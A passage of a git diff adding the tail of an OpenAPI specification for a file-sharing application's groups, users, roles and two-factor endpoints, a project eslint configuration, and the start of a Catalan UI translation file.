"group", + "in": "path", + "required": true, + "description": "The group ID", + "schema": { + "type": "integer" + } + }, + { + "name": "member", + "in": "path", + "required": true, + "description": "The member ID", + "schema": { + "type": "integer" + } + } + ], + "responses": { + "200": { + "description": "`GroupResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "allOf": [ + { + "$ref": "#/components/schemas/GroupResource" + }, + { + "type": "object", + "required": [ + "members" + ] + } + ] + } + }, + "required": [ + "data" + ] + } + } + } + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/groups": { + "get": { + "operationId": "groups.index", + "description": "Requires a token with the ability: `manage_groups`.", + "tags": [ + "Groups" + ], + "parameters": [ + { + "name": "updated_since", + "in": "query", + "schema": { + "type": [ + "string", + "null" + ], + "format": "date-time" + } + }, + { + "name": "per_page", + "in": "query", + "schema": { + "type": [ + "integer", + "null" + ], + "minimum": 1, + "maximum": 100 + } + }, + { + "name": "cursor", + "in": "query", + "schema": { + "type": [ + "string", + "null" + ] + } + }, + { + "name": "search", + "in": "query", + "schema": { + "type": [ + "string", + "null" + ], + "maxLength": 255 + } + }, + { + "name": "visibility", + "in": "query", + "schema": { + "type": [ + "string", + "null" + ], + "enum": [ + "public", + "private", + null + ] + } + } + ], + "responses": { + "200": { + "description": "Paginated set of `GroupResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "type": "array", + "items": { + "$ref": "#/components/schemas/GroupResource" + } + }, + "links": { + "type": "object", + "properties": { + "first": { + "type": [ + "string", + "null" + ] + }, + "last": { + "type": [ + "string", + "null" + ] + }, + "prev": { + "type": [ + "string", + "null" + ] + }, + "next": { + "type": [ + "string", + "null" + ] + } + }, + "required": [ + "first", + "last", + "prev", + "next" + ] + }, + "meta": { + "type": "object", + "properties": { + "path": { + "type": [ + "string", + "null" + ], + "description": "Base path for paginator generated URLs." + }, + "per_page": { + "type": "integer", + "description": "Number of items shown per page.", + "minimum": 0 + }, + "next_cursor": { + "type": [ + "string", + "null" + ], + "description": "The \"cursor\" that points to the next set of items." + }, + "prev_cursor": { + "type": [ + "string", + "null" + ], + "description": "The \"cursor\" that points to the previous set of items." + } + }, + "required": [ + "path", + "per_page", + "next_cursor", + "prev_cursor" + ] + } + }, + "required": [ + "data", + "links", + "meta" + ] + } + } + } + }, + "422": { + "$ref": "#/components/responses/ValidationException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + }, + "post": { + "operationId": "groups.store", + "description": "Requires a token with the ability: `create_groups`.", + "tags": [ + "Groups" + ], + "requestBody": { + "required": true, + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "name": { + "type": "string", + "maxLength": 255 + }, + "slug": { + "type": [ + "string", + "null" + ], + "pattern": "^[a-z0-9]+(-[a-z0-9]+)*$", + "maxLength": 255 + }, + "description": { + "type": [ + "string", + "null" + ], + "maxLength": 2000 + }, + "public": { + "type": "boolean" + } + }, + "required": [ + "name", + "public" + ] + } + } + } + }, + "responses": { + "201": { + "description": "`GroupResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "$ref": "#/components/schemas/GroupResource" + } + }, + "required": [ + "data" + ] + } + } + } + }, + "422": { + "$ref": "#/components/responses/ValidationException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/groups/{group}": { + "get": { + "operationId": "groups.show", + "description": "Requires a token with the ability: `edit_groups`.", + "tags": [ + "Groups" + ], + "parameters": [ + { + "name": "group", + "in": "path", + "required": true, + "description": "The group ID", + "schema": { + "type": "integer" + } + } + ], + "responses": { + "200": { + "description": "`GroupResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "allOf": [ + { + "$ref": "#/components/schemas/GroupResource" + }, + { + "type": "object", + "required": [ + "members" + ] + } + ] + } + }, + "required": [ + "data" + ] + } + } + } + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + }, + "patch": { + "operationId": "groups.update", + "description": "Requires a token with the ability: `edit_groups`.", + "tags": [ + "Groups" + ], + "parameters": [ + { + "name": "group", + "in": "path", + "required": true, + "description": "The group ID", + "schema": { + "type": "integer" + } + } + ], + "requestBody": { + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "name": { + "type": "string", + "maxLength": 255 + }, + "slug": { + "type": [ + "string", + "null" + ], + "pattern": "^[a-z0-9]+(-[a-z0-9]+)*$", + "maxLength": 255 + }, + "description": { + "type": [ + "string", + "null" + ], + "maxLength": 2000 + }, + "public": { + "type": "boolean" + } + } + } + } + } + }, + "responses": { + "200": { + "description": "`GroupResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "$ref": "#/components/schemas/GroupResource" + } + }, + "required": [ + "data" + ] + } + } + } + }, + "422": { + "$ref": "#/components/responses/ValidationException" + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + }, + "delete": { + "operationId": "groups.destroy", + "description": "Requires a token with the ability: `delete_groups`.", + "tags": [ + "Groups" + ], + "parameters": [ + { + "name": "group", + "in": "path", + "required": true, + "description": "The group ID", + "schema": { + "type": "integer" + } + } + ], + "responses": { + "204": { + "description": "No content", + "content": { + "application/json": { + "schema": { + "type": "array", + "items": {} + } + } + } + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/me": { + "get": { + "operationId": "me", + "tags": [ + "Me" + ], + "responses": { + "200": { + "description": "", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "type": "object", + "properties": { + "id": { + "type": "integer" + }, + "name": { + "type": "string" + }, + "email": { + "type": "string" + }, + "type": { + "type": "string" + }, + "role": { + "type": [ + "string", + "null" + ] + }, + "locale": { + "type": [ + "string", + "null" + ] + }, + "abilities": { + "type": "array", + "description": "The *effective* set, not the token's stored list: a token\nminted before a demotion still carries abilities its owner\nhas since lost, and reporting those would tell an\nintegration it can do things every request will refuse.\nEnsureTokenCan enforces exactly this intersection.", + "items": {} + }, + "token": { + "type": "object", + "properties": { + "name": { + "type": "string" + }, + "expires_at": { + "type": [ + "string", + "null" + ] + } + }, + "required": [ + "name", + "expires_at" + ] + } + }, + "required": [ + "id", + "name", + "email", + "type", + "role", + "locale", + "abilities", + "token" + ] + }, + "meta": { + "type": "object", + "properties": { + "edition": { + "type": "string" + }, + "capabilities": { + "type": "array", + "items": {} + }, + "modules": { + "type": "array", + "items": { + "type": "string" + } + }, + "version": { + "type": "string" + } + }, + "required": [ + "edition", + "capabilities", + "modules", + "version" + ] + } + }, + "required": [ + "data", + "meta" + ] + } + } + } + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/roles": { + "get": { + "operationId": "roles.index", + "description": "`client_scoped` roles are the ones for which `assigned_clients`\nmeans anything on a user; for any other role the assignment is\ncleared. `is_administrator` marks the roles that hold every\npermission, which only an administrator may hand out.\n\nThe Client system role is never listed: clients are not staff and\nare managed through `/clients`.\n\nRequires a token with the ability: `manage_users`.", + "summary": "List the roles you may assign to a staff account", + "tags": [ + "Roles" + ], + "responses": { + "200": { + "description": "", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "type": "array", + "items": { + "type": "object", + "properties": { + "id": { + "type": "integer" + }, + "name": { + "type": "string" + }, + "is_system": { + "type": "boolean" + }, + "is_administrator": { + "type": "boolean" + }, + "client_scoped": { + "type": "boolean" + } + }, + "required": [ + "id", + "name", + "is_system", + "is_administrator", + "client_scoped" + ] + } + } + }, + "required": [ + "data" + ] + } + } + } + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/users": { + "get": { + "operationId": "users.index", + "description": "Clients never appear here \u2014 they are a different population with\ntheir own endpoints under `/clients`.\n\nRequires a token with the ability: `manage_users`.", + "summary": "List staff accounts", + "tags": [ + "Users" + ], + "parameters": [ + { + "name": "updated_since", + "in": "query", + "schema": { + "type": [ + "string", + "null" + ], + "format": "date-time" + } + }, + { + "name": "per_page", + "in": "query", + "schema": { + "type": [ + "integer", + "null" + ], + "minimum": 1, + "maximum": 100 + } + }, + { + "name": "cursor", + "in": "query", + "schema": { + "type": [ + "string", + "null" + ] + } + }, + { + "name": "search", + "in": "query", + "schema": { + "type": [ + "string", + "null" + ], + "maxLength": 255 + } + }, + { + "name": "role_id", + "in": "query", + "schema": { + "type": [ + "integer", + "null" + ] + } + }, + { + "name": "status", + "in": "query", + "schema": { + "type": [ + "string", + "null" + ], + "enum": [ + "active", + "inactive", + null + ] + } + } + ], + "responses": { + "200": { + "description": "Paginated set of `StaffUserResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "type": "array", + "items": { + "$ref": "#/components/schemas/StaffUserResource" + } + }, + "links": { + "type": "object", + "properties": { + "first": { + "type": [ + "string", + "null" + ] + }, + "last": { + "type": [ + "string", + "null" + ] + }, + "prev": { + "type": [ + "string", + "null" + ] + }, + "next": { + "type": [ + "string", + "null" + ] + } + }, + "required": [ + "first", + "last", + "prev", + "next" + ] + }, + "meta": { + "type": "object", + "properties": { + "path": { + "type": [ + "string", + "null" + ], + "description": "Base path for paginator generated URLs." + }, + "per_page": { + "type": "integer", + "description": "Number of items shown per page.", + "minimum": 0 + }, + "next_cursor": { + "type": [ + "string", + "null" + ], + "description": "The \"cursor\" that points to the next set of items." + }, + "prev_cursor": { + "type": [ + "string", + "null" + ], + "description": "The \"cursor\" that points to the previous set of items." + } + }, + "required": [ + "path", + "per_page", + "next_cursor", + "prev_cursor" + ] + } + }, + "required": [ + "data", + "links", + "meta" + ] + } + } + } + }, + "422": { + "$ref": "#/components/responses/ValidationException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + }, + "post": { + "operationId": "users.store", + "description": "`role_id` must name a role the calling token's owner could grant.\nYou cannot hand out authority you do not hold: a caller who is not\nan administrator may not create one, nor assign any role carrying a\npermission they lack. `GET /roles` lists what is available to you.\n\nThe account is created active and with its email already verified \u2014\nan administrator vouched for the address by sending it.\n\nRequires a token with the ability: `create_users`.", + "summary": "Create a staff account", + "tags": [ + "Users" + ], + "requestBody": { + "required": true, + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "name": { + "type": "string", + "maxLength": 255 + }, + "email": { + "type": "string", + "format": "email", + "maxLength": 255 + }, + "role_id": { + "type": "integer" + }, + "password": { + "type": "string", + "description": "No `confirmed`: repeating a password defends against a human\nmistyping into a form, and an API caller has no second field\nto mistype. Password::defaults() still applies." + }, + "assigned_clients": { + "type": "array", + "items": { + "type": "integer" + } + } + }, + "required": [ + "name", + "email", + "role_id", + "password" + ] + } + } + } + }, + "responses": { + "201": { + "description": "`StaffUserResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "$ref": "#/components/schemas/StaffUserResource" + } + }, + "required": [ + "data" + ] + } + } + } + }, + "422": { + "$ref": "#/components/responses/ValidationException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/users/{user}": { + "get": { + "operationId": "users.show", + "description": "Adds `assigned_client_ids` and the `content` counts that `DELETE`\nneeds, neither of which the listing carries.\n\nRequires a token with the ability: `edit_users`.", + "summary": "Get one staff account", + "tags": [ + "Users" + ], + "parameters": [ + { + "name": "user", + "in": "path", + "required": true, + "description": "The user ID", + "schema": { + "type": "integer" + } + } + ], + "responses": { + "200": { + "description": "`StaffUserResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "$ref": "#/components/schemas/StaffUserResource" + } + }, + "required": [ + "data" + ] + } + } + } + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + }, + "patch": { + "operationId": "users.update", + "description": "PATCH semantics: an absent key means \"leave alone\", not \"clear\".\nSending `assigned_clients` replaces the whole list; omitting it\nleaves it, except that moving to a role which is not client-scoped\nclears it either way.\n\nRefused with a 422 if the change would leave the installation with\nno active administrator, or if you would be deactivating yourself.\n\nRequires a token with the ability: `edit_users`.", + "summary": "Update a staff account, including the role assigned to it", + "tags": [ + "Users" + ], + "parameters": [ + { + "name": "user", + "in": "path", + "required": true, + "description": "The user ID", + "schema": { + "type": "integer" + } + } + ], + "requestBody": { + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "name": { + "type": "string", + "maxLength": 255 + }, + "email": { + "type": "string", + "format": "email", + "maxLength": 255 + }, + "role_id": { + "type": "integer" + }, + "active": { + "type": "boolean" + }, + "password": { + "type": [ + "string", + "null" + ] + }, + "assigned_clients": { + "type": "array", + "items": { + "type": "integer" + } + } + } + } + } + } + }, + "responses": { + "200": { + "description": "`StaffUserResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "$ref": "#/components/schemas/StaffUserResource" + } + }, + "required": [ + "data" + ] + } + } + } + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "422": { + "$ref": "#/components/responses/ValidationException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + }, + "delete": { + "operationId": "users.destroy", + "description": "If the account owns no files or folders, no body is needed.\n\nIf it does, you must say what happens to that content: send\n`content_action` as either `cascade_delete` (delete it along with\nthe account) or `reassign`, and in the latter case a\n`reassign_to_id` naming the active account that inherits it.\nOmitting the choice is a 422 \u2014 there is no default, because one\nwould silently destroy files and the other would silently hand them\nto somebody else. `GET /users/{user}` reports the counts.\n\nYou cannot delete your own account, and you cannot delete the last\nactive administrator.\n\nRequires a token with the ability: `delete_users`.", + "summary": "Delete a staff account", + "tags": [ + "Users" + ], + "parameters": [ + { + "name": "user", + "in": "path", + "required": true, + "description": "The user ID", + "schema": { + "type": "integer" + } + } + ], + "responses": { + "204": { + "description": "No content", + "content": { + "application/json": { + "schema": { + "type": "array", + "items": {} + } + } + } + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/users/{user}/two-factor": { + "delete": { + "operationId": "users.two-factor.destroy", + "description": "The remedy for a locked-out account: somebody whose authenticator\napp and recovery codes are both gone cannot sign in, and nobody else\ncan open the account for them either. Afterwards the account signs\nin with its password alone, and \u2014 if this installation enforces\ntwo-factor authentication for staff \u2014 is asked to enrol again on its\nnext request.\n\nThe account holder is emailed that this happened, and the action is\nrecorded in the activity log against the caller. Answers 204 whether\nor not a second factor was actually in force.\n\nRequires a token with the ability: `edit_users`.", + "summary": "Remove a staff account's two-factor authentication", + "tags": [ + "Users" + ], + "parameters": [ + { + "name": "user", + "in": "path", + "required": true, + "description": "The user ID", + "schema": { + "type": "integer" + } + } + ], + "responses": { + "204": { + "description": "No content", + "content": { + "application/json": { + "schema": { + "type": "array", + "items": {} + } + } + } + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + } + }, + "components": { + "securitySchemes": { + "http": { + "type": "http", + "scheme": "bearer" + } + }, + "schemas": { + "ClientResource": { + "type": "object", + "properties": { + "id": { + "type": "integer" + }, + "name": { + "type": "string" + }, + "email": { + "type": "string" + }, + "active": { + "type": "boolean" + }, + "account_requested": { + "type": "boolean" + }, + "two_factor_enabled": { + "type": "boolean", + "description": "Whether, not what: the state of the second factor is what a\ncaller needs to see before removing it. The secret and the\nrecovery codes stay where they are." + }, + "created_at": { + "type": [ + "string", + "null" + ] + }, + "updated_at": { + "type": [ + "string", + "null" + ] + }, + "storage": { + "type": "object", + "properties": { + "quota_mb": { + "type": "integer", + "description": "The client's own column, where 0 means \"inherit the site\n default\" rather than \"unlimited\" \u2014 both are reported so a\ncaller need not know that rule to display it correctly." + }, + "effective_quota_mb": { + "type": "integer" + }, + "unlimited": { + "type": "boolean" + }, + "used_mb": { + "type": "integer" + } + }, + "required": [ + "quota_mb", + "effective_quota_mb", + "unlimited", + "used_mb" + ] + }, + "custom_fields": { + "type": "array", + "items": { + "type": "object", + "properties": { + "id": { + "type": "integer" + }, + "name": { + "type": "string" + }, + "label": { + "type": "string" + }, + "type": { + "type": "string" + }, + "value": { + "type": [ + "string", + "null" + ] + } + }, + "required": [ + "id", + "name", + "label", + "type", + "value" + ] + } + }, + "content": { + "type": "string" + } + }, + "required": [ + "id", + "name", + "email", + "active", + "account_requested", + "two_factor_enabled", + "created_at", + "updated_at", + "storage", + "custom_fields", + "content" + ], + "title": "ClientResource" + }, + "CommentVisibility": { + "type": "string", + "description": "Who a comment is addressed to. Four fixed audiences, and the list never changes \u2014 it does not grow with the number of clients a file is shared with. An earlier version made staff pick a recipient from a dropdown of every client on the file before they could write, which is not how anybody answers a message and reached 51 entries on a file shared with a 50-client group. Answering one client is a reply now (see FileComments::post's $replyTo), so the audience of a reply is inherited from the comment it answers rather than chosen. **`Clients` includes staff.** The name says who it *adds* \u2014 the team can already see everything on a file they can open. Read it as \"the team and * the clients\", never as \"clients instead of staff\"; the label a person sees says so out loud, because the short name did not and somebody reasonably concluded there was no staff-and-clients option at all. It is one channel seen from two ends, which is why its label depends on who is reading: staff address \"Staff and clients\", a client addresses \"Staff\". That asymmetry is real, not cosmetic \u2014 a client's comment carries their own conversation and never fans out to the other clients, so for them the audience genuinely is the team alone. Narrowing to a single client is `client_context_id`, not a separate case: see Access\\VisibleCommentScope. The case names avoid `Private`/`Public`: those words already mean something else here (a *file's* public flag, and CommentScope's `public_files`), and reading `CommentVisibility::Public` next to `$file->public` invites exactly the confusion this feature cannot afford.\n", + "enum": [ + "only_me", + "staff_only", + "clients", + "everyone" + ], + "title": "CommentVisibility" + }, + "DownloadLimitScope": { + "type": "string", + "description": "What a file's download limit counts. `Total` caps the file itself: once it has been downloaded that many times by anyone, nobody may download it again. `PerUser` gives every person their own allowance, so one client exhausting theirs leaves everyone else untouched. Both come from ProjectSend v1, which stored them in `tbl_files.download_limit_type` under these exact names \u2014 an imported install keeps behaving the way its administrator set it up. A closed set on purpose: DownloadAllowance branches on it, and a third value arriving from a database someone edited by hand should fail loudly at the cast rather than silently fall through to \"no limit\".\n", + "enum": [ + "total", + "per_user" + ], + "title": "DownloadLimitScope" + }, + "FileCommentResource": { + "type": "object", + "properties": { + "id": { + "type": "integer" + }, + "file_id": { + "type": "integer" + }, + "body": { + "type": "string" + }, + "visibility": { + "type": "string" + }, + "author": { + "type": "object", + "properties": { + "id": { + "type": [ + "integer", + "null" + ] + }, + "name": { + "type": "string" + }, + "type": { + "type": "string", + "enum": [ + "guest", + "staff", + "client" + ] + } + }, + "required": [ + "id", + "name", + "type" + ] + }, + "conversation": { + "type": [ + "object", + "null" + ], + "description": "Whose conversation this is, when it is one client's rather\nthan every client's. Staff only, and null on a comment\naddressed to all of them.", + "properties": { + "client_id": { + "type": [ + "integer", + "null" + ] + }, + "client_name": { + "type": [ + "string", + "null" + ] + } + }, + "required": [ + "client_id", + "client_name" + ] + }, + "approved": { + "type": "boolean" + }, + "created_at": { + "type": [ + "string", + "null" + ] + }, + "edited_at": { + "type": [ + "string", + "null" + ] + } + }, + "required": [ + "id", + "file_id", + "body", + "visibility", + "author", + "conversation", + "approved", + "created_at", + "edited_at" + ], + "title": "FileCommentResource" + }, + "FileResource": { + "type": "object", + "properties": { + "id": { + "type": "integer" + }, + "name": { + "type": "string" + }, + "slug": { + "type": "string" + }, + "description": { + "type": [ + "string", + "null" + ] + }, + "original_name": { + "type": "string" + }, + "mime_type": { + "type": "string" + }, + "size": { + "type": "integer" + }, + "checksum": { + "type": "string" + }, + "public": { + "type": "boolean" + }, + "commentable": { + "type": "boolean", + "description": "Only consulted while the installation's comment setting is\n\"only files marked as commentable\"; published anyway, since a\ncaller that sets it wants to read it back." + }, + "expires_at": { + "type": [ + "string", + "null" + ] + }, + "expired": { + "type": "boolean" + }, + "download_limit": { + "type": [ + "integer", + "null" + ], + "description": "Null when the file may be downloaded any number of times.\n`download_limit_scope` says what the number counts \u2014\n\"total\" across everyone, or \"per_user\" for each person\nseparately. It is always one of those two, and is\nmeaningless while the limit is null." + }, + "download_limit_scope": { + "type": "string" + }, + "downloads_used": { + "type": "integer", + "description": "The file's total downloads. Under a per_user limit this is\nstill the total, since \"how much has this caller used\" is a\ndifferent number for every caller.", + "minimum": 0 + }, + "created_at": { + "type": [ + "string", + "null" + ] + }, + "updated_at": { + "type": [ + "string", + "null" + ] + }, + "is_revision": { + "type": "boolean", + "description": "True when this file is a new version of an earlier one. A\nrevision is always shared with the same people as the file it\nreplaces, so it has no recipients of its own: assigning it\nreturns 422, and `sharing_root_id` names the file to assign\ninstead." + }, + "sharing_root_id": { + "type": [ + "integer", + "null" + ], + "description": "The oldest file in this version chain \u2014 the one whose\nrecipients govern the whole chain. Null when this file is not\na revision." + }, + "previous_version": { + "type": [ + "object", + "null" + ], + "description": "The file this one replaces. Null when there is none, or when\nit is one you cannot see.", + "properties": { + "id": { + "type": "integer" + }, + "name": { + "type": "string" + } + }, + "required": [ + "id", + "name" + ] + }, + "next_version": { + "type": [ + "object", + "null" + ], + "description": "The file that replaced this one, on the same terms.", + "properties": { + "id": { + "type": "integer" + }, + "name": { + "type": "string" + } + }, + "required": [ + "id", + "name" + ] + }, + "folder": { + "type": [ + "object", + "null" + ], + "properties": { + "id": { + "type": "integer" + }, + "name": { + "type": "string" + } + }, + "required": [ + "id", + "name" + ] + }, + "uploaded_by": { + "type": [ + "object", + "null" + ], + "description": "Name only. The uploader is a user record; their email address\nis not part of what \"this file exists\" needs to say.", + "properties": { + "id": { + "type": "integer" + }, + "name": { + "type": "string" + } + }, + "required": [ + "id", + "name" + ] + }, + "categories": { + "type": "array", + "items": { + "type": "object", + "properties": { + "id": { + "type": "integer" + }, + "name": { + "type": "string" + } + }, + "required": [ + "id", + "name" + ] + } + }, + "assignments": { + "type": "array", + "items": { + "type": "object", + "properties": { + "type": { + "type": "string", + "enum": [ + "group", + "client" + ] + }, + "id": { + "type": "integer" + }, + "name": { + "description": "getAttribute() rather than ->name: the relation is a\nMorphTo over User|Group, so the property is only\nknowable at runtime. Both targets carry a name." + } + }, + "required": [ + "type", + "id", + "name" + ] + } + }, + "links": { + "type": "object", + "properties": { + "download": { + "type": "string" + } + }, + "required": [ + "download" + ] + } + }, + "required": [ + "id", + "name", + "slug", + "description", + "original_name", + "mime_type", + "size", + "checksum", + "public", + "commentable", + "expires_at", + "expired", + "download_limit", + "download_limit_scope", + "downloads_used", + "created_at", + "updated_at", + "is_revision", + "sharing_root_id", + "links" + ], + "title": "FileResource" + }, + "GroupResource": { + "type": "object", + "properties": { + "id": { + "type": "integer" + }, + "name": { + "type": "string" + }, + "slug": { + "type": "string" + }, + "description": { + "type": [ + "string", + "null" + ] + }, + "public": { + "type": "boolean" + }, + "members_count": { + "type": "integer" + }, + "created_at": { + "type": [ + "string", + "null" + ] + }, + "updated_at": { + "type": [ + "string", + "null" + ] + }, + "members": { + "type": "array", + "items": { + "type": "object", + "properties": { + "id": { + "type": "integer" + }, + "name": { + "type": "string" + }, + "email": { + "type": "string" + } + }, + "required": [ + "id", + "name", + "email" + ] + } + } + }, + "required": [ + "id", + "name", + "slug", + "description", + "public", + "created_at", + "updated_at" + ], + "title": "GroupResource" + }, + "StaffUserResource": { + "type": "object", + "properties": { + "id": { + "type": "integer" + }, + "name": { + "type": "string" + }, + "email": { + "type": "string" + }, + "active": { + "type": "boolean" + }, + "two_factor_enabled": { + "type": "boolean" + }, + "role": { + "type": [ + "object", + "null" + ], + "description": "Nested rather than a bare role_id, so a caller can render a\nlist without a second request. `is_administrator` is the flag\nthat actually matters when reading one of these.", + "properties": { + "id": { + "type": "integer" + }, + "name": { + "type": "string" + }, + "is_system": { + "type": "boolean" + }, + "is_administrator": { + "type": "boolean" + }, + "client_scoped": { + "type": "boolean" + } + }, + "required": [ + "id", + "name", + "is_system", + "is_administrator", + "client_scoped" + ] + }, + "created_at": { + "type": [ + "string", + "null" + ] + }, + "updated_at": { + "type": [ + "string", + "null" + ] + }, + "assigned_client_ids": { + "type": "string" + }, + "content": { + "type": "string" + } + }, + "required": [ + "id", + "name", + "email", + "active", + "two_factor_enabled", + "role", + "created_at", + "updated_at", + "assigned_client_ids", + "content" + ], + "title": "StaffUserResource" + } + }, + "responses": { + "AuthenticationException": { + "description": "Unauthenticated", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "message": { + "type": "string", + "description": "Error overview." + } + }, + "required": [ + "message" + ] + } + } + } + }, + "ValidationException": { + "description": "Validation error", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "message": { + "type": "string", + "description": "Errors overview." + }, + "errors": { + "type": "object", + "description": "A detailed description of each field that failed validation.", + "additionalProperties": { + "type": "array", + "items": { + "type": "string" + } + } + } + }, + "required": [ + "message", + "errors" + ] + } + } + } + }, + "AuthorizationException": { + "description": "Authorization error", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "message": { + "type": "string", + "description": "Error overview." + } + }, + "required": [ + "message" + ] + } + } + } + }, + "ModelNotFoundException": { + "description": "Not found", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "message": { + "type": "string", + "description": "Error overview." + } + }, + "required": [ + "message" + ] + } + } + } + } + } + } +} \ No newline at end of file diff --git a/eslint.config.js b/eslint.config.js new file mode 100644 index 00000000..f4850db5 --- /dev/null +++ b/eslint.config.js @@ -0,0 +1,47 @@ +import js from '@eslint/js'; +import prettier from 'eslint-config-prettier'; +import react from 'eslint-plugin-react'; +import reactHooks from 'eslint-plugin-react-hooks'; +import globals from 'globals'; +import typescript from 'typescript-eslint'; + +/** @type {import('eslint').Linter.Config[]} */ +export default [ + js.configs.recommended, + ...typescript.configs.recommended, + { + ...react.configs.flat.recommended, + ...react.configs.flat['jsx-runtime'], // Required for React 17+ + languageOptions: { + globals: { + ...globals.browser, + }, + }, + rules: { + 'react/react-in-jsx-scope': 'off', + 'react/prop-types': 'off', + 'react/no-unescaped-entities': 'off', + }, + settings: { + react: { + version: 'detect', + }, + }, + }, + { + plugins: { + 'react-hooks': reactHooks, + }, + rules: { + 'react-hooks/rules-of-hooks': 'error', + 'react-hooks/exhaustive-deps': 'warn', + }, + }, + { + // Maintainer tooling scripts (*.cjs) are plain Node, not app + // source — they don't run in the browser and use Node globals + // (require, process, __dirname) the app's ruleset forbids. + ignores: ['vendor', 'node_modules', 'public', 'bootstrap/ssr', 'tailwind.config.js', '.claude', 'packages'], + }, + prettier, // Turn off all rules that might conflict with Prettier +]; diff --git a/lang/ca.json b/lang/ca.json new file mode 100644 index 00000000..91f44130 --- /dev/null +++ b/lang/ca.json @@ -0,0 +1,1786 @@ +{ + ":clientName uploaded \":itemName\"": ":clientName ha pujat \":itemName\"", + ":count accounts have this role": ":count comptes tenen aquest rol", + ":count awaiting approval": ":count esperant aprovació", + ":count downloads": ":count descàrregues", + ":count file deleted.|:count files deleted.": ":count fitxer eliminat.|:count fitxers eliminats.", + ":count file imported.|:count files imported.": ":count fitxer importat.|:count fitxers importats.", + ":count files": ":count fitxers", + ":count folders": ":count carpetes", + ":count items have been shared with you": "S'han compartit :count elements amb tu", + ":count members": ":count membres", + ":count selected": ":count seleccionats", + ":files files": ":files fitxers", + ":itemName was shared with you": "S'ha compartit :itemName amb tu", + ":name will not be added to the group \":group\".": ":name no s'afegirà al grup \":group\".", + ":total total": ":total en total", + ":used / :limit downloads": ":used / :limit descàrregues", + ":used MB of :quota MB used": ":used MB de :quota MB utilitzats", + ":used MB used, no limit": ":used MB utilitzats, sense límit", + "(and :count more error)": "(i :count error més)", + "(and :count more errors)": "(i :count error més)|(i :count errors més)|(i :count errors més)", + "(deleted account)": "(compte eliminat)", + "0 means unlimited.": "0 vol dir il·limitat.", + "A client account request was approved": "S'ha aprovat una sol·licitud de compte de client", + "A client account request was denied": "S'ha denegat una sol·licitud de compte de client", + "A client left a group": "Un client ha deixat un grup", + "A client registered an account": "Un client ha registrat un compte", + "A client requested to join a group": "Un client ha demanat entrar en un grup", + "A client uploaded a file": "Un client ha pujat un fitxer", + "A client was added to a group": "S'ha afegit un client a un grup", + "A client was removed from a group": "S'ha tret un client d'un grup", + "A decryption key is required.": "Cal una clau de desxifrat.", + "A file assignment was removed": "S'ha retirat una assignació de fitxer", + "A file has been shared with you": "S'ha compartit un fitxer amb tu", + "A file or folder was shared with you": "S'ha compartit un fitxer o una carpeta amb tu", + "A file was assigned": "S'ha assignat un fitxer", + "A file was deleted": "S'ha eliminat un fitxer", + "A file was downloaded": "S'ha descarregat un fitxer", + "A file was downloaded via a public link": "S'ha descarregat un fitxer mitjançant un enllaç públic", + "A file was downloaded via the public group listing": "S'ha descarregat un fitxer mitjançant el llistat públic de grups", + "A file was updated": "S'ha actualitzat un fitxer", + "A file was uploaded": "S'ha pujat un fitxer", + "A folder cannot be moved into itself.": "Una carpeta no es pot moure dins d'ella mateixa.", + "A folder has been shared with you": "S'ha compartit una carpeta amb tu", + "A folder was created": "S'ha creat una carpeta", + "A folder was deleted": "S'ha eliminat una carpeta", + "A folder was moved": "S'ha mogut una carpeta", + "A folder was renamed": "S'ha canviat el nom d'una carpeta", + "A folder was shared": "S'ha compartit una carpeta", + "A folder was unshared": "S'ha deixat de compartir una carpeta", + "A group membership request was approved": "S'ha aprovat una sol·licitud d'adhesió a un grup", + "A group membership request was denied": "S'ha denegat una sol·licitud d'adhesió a un grup", + "A group membership was requested": "S'ha sol·licitat l'adhesió a un grup", + "A group was created": "S'ha creat un grup", + "A group was deleted": "S'ha eliminat un grup", + 